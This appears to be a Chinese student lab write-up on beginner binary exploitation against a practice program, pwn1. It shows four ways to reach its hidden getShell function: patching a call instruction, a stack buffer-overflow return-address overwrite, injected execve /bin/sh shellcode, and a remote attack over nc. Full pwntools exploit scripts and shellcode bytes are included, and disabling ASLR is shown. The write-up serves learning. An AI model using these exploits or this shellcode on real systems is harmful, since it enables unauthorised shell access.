zoukankan      html  css  js  c++  java
  • pwn入门学习(exp1)

    常用汇编指令及寄存器的作用

    • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

    • JNE:条件转移指令,如果不相等则跳转。(机器码:75)

    • J E:条件转移指令,如果相等则跳转。(机器码:74)

    • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

    • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    • EAX:通用寄存器。相对其他寄存器,在进行运算方面比较常用。在保护模式中,也可以作为内存偏移指针(此时,DS作为段 寄存器或选择器)

    • EBX:通用寄存器。通常作为内存偏移指针使用(相对于EAX、ECX、EDX),DS是默认的段寄存器或选择器。在保护模式中,同样可以起这个作用。

    • ECX:通用寄存器。通常用于特定指令的计数。在保护模式中,也可以作为内存偏移指针(此时,DS作为 寄存器或段选择器)。

    • EDX:通用寄存器。在某些运算中作为EAX的溢出寄存器(例如乘、除)。在保护模式中,也可以作为内存偏移指针(此时,DS作为段 寄存器或选择器)。

    • ESI:通常在内存操作指令中作为“源地址指针”使用。当然,ESI可以被装入任意的数值,但通常没有人把它当作通用寄存器来用。DS是默认段寄存器或选择器。

    • EDI:通常在内存操作指令中作为“目的地址指针”使用。当然,EDI也可以被装入任意的数值,但通常没有人把它当作通用寄存器来用。DS是默认段寄存器或选择器。

    • EBP:这也是一个作为指针的寄存器。通常,它被高级语言编译器用以建造‘堆栈帧'来保存函数或过程的局部变量,不过,还是那句话,你可以在其中保存你希望的任何数据。SS是它的默认段寄存器或选择器。

    工具选择

    • kali2020:用于提供linux环境

    • python3:用于编写脚本辅助攻击

    • ida:用于查看和调试程序运行情况

    场景实操

    准备工作

    root@zengyutao:~# execstack -s 20181221pwn3    //设置堆栈可执行
    root@zengyutao:~# execstack -q 20181221pwn3    //查询文件的堆栈是否可执行
    X 20181221pwn3
    root@zengyutao:~# more /proc/sys/kernel/randomize_va_space 
    2
    root@zengyutao:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    root@zengyutao:~# more /proc/sys/kernel/randomize_va_space 
    0
    

    ida部分使用教程

    1. 确定程序是32位还是64位,选择相应的ida打开。如果是32位的程序使用了64位的ida打开,虽然可以看到反汇编代码,但是无法进行转化为伪代码的操作,会报错,示例如下。

    1. 按F5进行转换,查看程序伪代码,这样可以知道程序编写逻辑,同时查看是否有隐藏的函数。(本次实践中的程序在主函数中只调用了foo函数,隐藏了getShell函数,如图所示)

    2. 同时,我们可以还通过切换窗口视图来查看不同的窗口(反汇编窗口、伪代码窗口、十六进制窗口、结构窗口、函数窗口等),反汇编窗口中可以通过空格切换为图形视图和文字视图,同时,还可以下断点对程序进行调试。

    1. 如果想要让主机上的ida和虚拟机进行交互,需要进行部分配置。
    • 更改ida模式为“Remote Linux debugger"

    image-20210310110413951

    • 查看虚拟机IP地址,并打开导航栏里的Debugger->Process options,修改配置。(红框内为需要输入的虚拟机IP地址)

    image-20210310122401095

    • 打开ida文件夹里的dbgsrv文件夹,将对应的linux_server文件放到需要交互的虚拟机文件夹中。

    image-20210310111106938

    • 本地打开需要调试的程序,下好断点后按F9开始调试,同时虚拟机中可以将payload发送过来。在调试中,F2下断点,F7单步步入,F8单步步过。

    image-20210310112001780

    image-20210310112013935

    实践目标

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    但该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法getshell。

    1、直接修改程序机器指令,改变程序执行流程

    首先,用ida打开程序pwn1,F5查看程序伪代码逻辑结构

    image-20210310155710846

    可以看到,main函数中的逻辑非常简单,调用foo函数,然后结束,我们再看看foo函数的逻辑。

    image-20210310155823271

    foo函数会获取用户输入,然后返回用户输出。此外,我们还发现了一个显眼的getshell函数。

    image-20210310155953097

    getShell函数为我们提供了一个可用shell。于是思路就出现了,我们可以通过修改main函数中调用foo函数的地址,使其跳转到getShell函数,即可完成攻击。所以我们要查看main函数和getShell的函数的机器码和地址。

    image-20210310160430190

    通过双击左侧函数列表分别查看foo函数和getshell函数的入口,我们发现,foo函数的入口地址为08048491,getShell函数的入口地址为0804847D。所以,我们只需要修改程序16进制值,将08048491替换为0804847D即可达成目的。

    image-20210310161159136

    image-20210310161238423

    我们先选中main函数中关键的地址

    image-20210310161417188

    再查看16进制值,E8是跳转的机器码,我们想让它调用getShell,只要修改“d7ffffff”为,"0804847D-80484ba"对应的补码就行。

    image-20210310161455534

    最后,我们使用winhex工具,通过计算,将D7FFFFFF改为C3FFFFFF即可完成攻击。

    image-20210310161829512

    image-20210310161842844

    2、通过构造输入参数,造成BOF攻击,改变程序执行流

    根据刚刚我们查看foo函数伪代码,可以知道,这里存在缓冲区溢出的漏洞。

    首先,函数定义了一个char型的s,然后通过gets函数将用户输入的数据存入s中,再输出s中的内容。而通常char分为无符号(unsigned)和有符号(signed)两种:

    • 无符号(unsigned)的取值范围:0~255;

    • 有符号(signed)的取值范围为:-128~127.

    一般我们常用char来声明一个变量,编译器默认为有符号的,即范围为:-128~127。

    具体缓冲区溢出攻击原理看博客:https://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html

    因此,我们只需要输入字节足够长的内容,就可以成功覆盖返回地址。通过计算,128/4=32,再加上返回地址,所以我们至少需要输入36个字符才能够到达返回地址。所以我们尝试输入”11111111222222223333333344444444haha“

    image-20210310164322038

    可以看到红框处,我们输入的”11111111222222223333333344444444“已经把缓冲区填充满了。然后选中的地方也可以发现,返回地址

    也已经被我们输入的”haha"占据了。因此,我们只需要将haha替换为getShell函数的返回地址,就可以成功攻击了。

    因此,我们只需要在脚本中修改一下payload的值,将haha替换为"x7dx84x04x08"即可。

    image-20210310165020789

    image-20210310165137549

    这里贴上脚本,仅供参考:

    from pwn import *
    
    p = process('./20181221pwn3')
    payload = '11111111222222223333333344444444'+'x7dx84x04x08'
    p.sendline(payload)
    p.interactive()
    

    3、尝试注入自己的shellcode并运行拿shell

    首先,我们先打开一个空白文档,将汇编语言写到文档中,并保存为.asm文件

    image-20210310170109474

    global _start
    _start:
    mov eax,0 ;eax置0
    mov edx,0 ;edx置0
    push edx
    push "/sh"
    push "/bin"  ;将/bin/sh存入栈中
    mov ebx,esp  ;ebx指向/bin/sh字符串
    xor eax,eax
    mov al,0Bh   ;eax置为execve函数中断号
    int 80h
    

    然后,我们用nasm编译,生成目标文件,再用gun ld来连接:

    nasm -f elf32 -o shellcode.o shellcode.asm
    ld -m elf_i386 -o shellcode shellcode.o
    

    再提取机器码:

    for i in $(objdump -d shellcode | grep "^ " | cut -f2); do echo -n ' '$i; done; echo
    

    于是我们就得到了最终的shellcode

    x31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80
    

    我们把这个shellcode添加到我们的脚本中,并运行

    image-20210310171326669

    可以看到,shellcode的地址在FFFFD1B0中,我们只需要将”61686168“也就是”haha“改成"xb0xd1xffxff"既可

    image-20210310171528910

    至此,使用填充字符法溢出缓冲区的攻击已经完成。下面附上脚本:

    from pwn import *
    
    p = process('./20181221pwn3')
    payload = '11111111222222223333333344444444'+'xb0xd1xffxffx31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80'
    p.sendline(payload)
    p.interactive()
    

    那么,就有人问了,我如果不想填充那么多溢出缓冲区怎么办?也有办法

    我们可以把我们的shellcode写到缓冲区内部,再使用NOP填充到返回地址并修改就好了。

    我们还是使用上面的shellcode作为演示,这次我们的payload是:

    x31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80x90x90x90x90x90x90x90x90x90x8cxd1xffxff
    

    由于char型缓冲区的长度为128,所以我们需要填充9个"x90"才能到达返回地址。

    image-20210310175426677

    不过这里有一个小细节需要注意,我们的shellcode长度不能太长,因为我们这时候已经快到EBX和ESP了。经过测试,我们shellcode的最大长度为24字节。

    image-20210310174619180

    最后附上脚本:

    from pwn import *
    
    p = process('./20181221pwn3')
    payload = 'x31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80x90x90x90x90x90x90x90x90x90x8cxd1xffxff'
    p.sendline(payload)
    p.interactive()
    

    4、远程nc连接getshell

    首先,在主机终端输入指令开启监听

    nc -l -p 28234 -e ./20181221pwn3
    

    image-20210315193658438

    然后在另一台机上使用nc连接,这里我们直接使用pwn模组内置的remote函数进行连接。然后再直接通过脚本将shellcode传进去,就可以getshell了。

    image-20210315195156273

    最后贴上脚本:

    from pwn import *
    
    p = remote("192.168.211.137",28234)
    
    test1shellcode = 'x31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80x90x90x90x90x90x90x90x90x90xecxd1xffxff'
    
    payload = test1shellcode
    
    p.sendline(payload)
    
    p.interactive()
    
    

    心得体会

    总的来说,这次实验比较基础,教会了我如何查看分析文件二进制。同时,对于汇编指令和机器码也有了更加深入的理解,能够自行编写shellcode。收获颇丰。

  • 相关阅读:
    fullCalendar改造计划之带农历节气节假日的万年历(转)
    Linked List Cycle
    Remove Nth Node From End of List
    Binary Tree Inorder Traversal
    Unique Binary Search Trees
    Binary Tree Level Order Traversal
    Binary Tree Level Order Traversal II
    Plus One
    Remove Duplicates from Sorted List
    Merge Two Sorted Lists
  • 原文地址:https://www.cnblogs.com/MisakaYuii-Z/p/14508621.html
Copyright © 2011-2022 走看看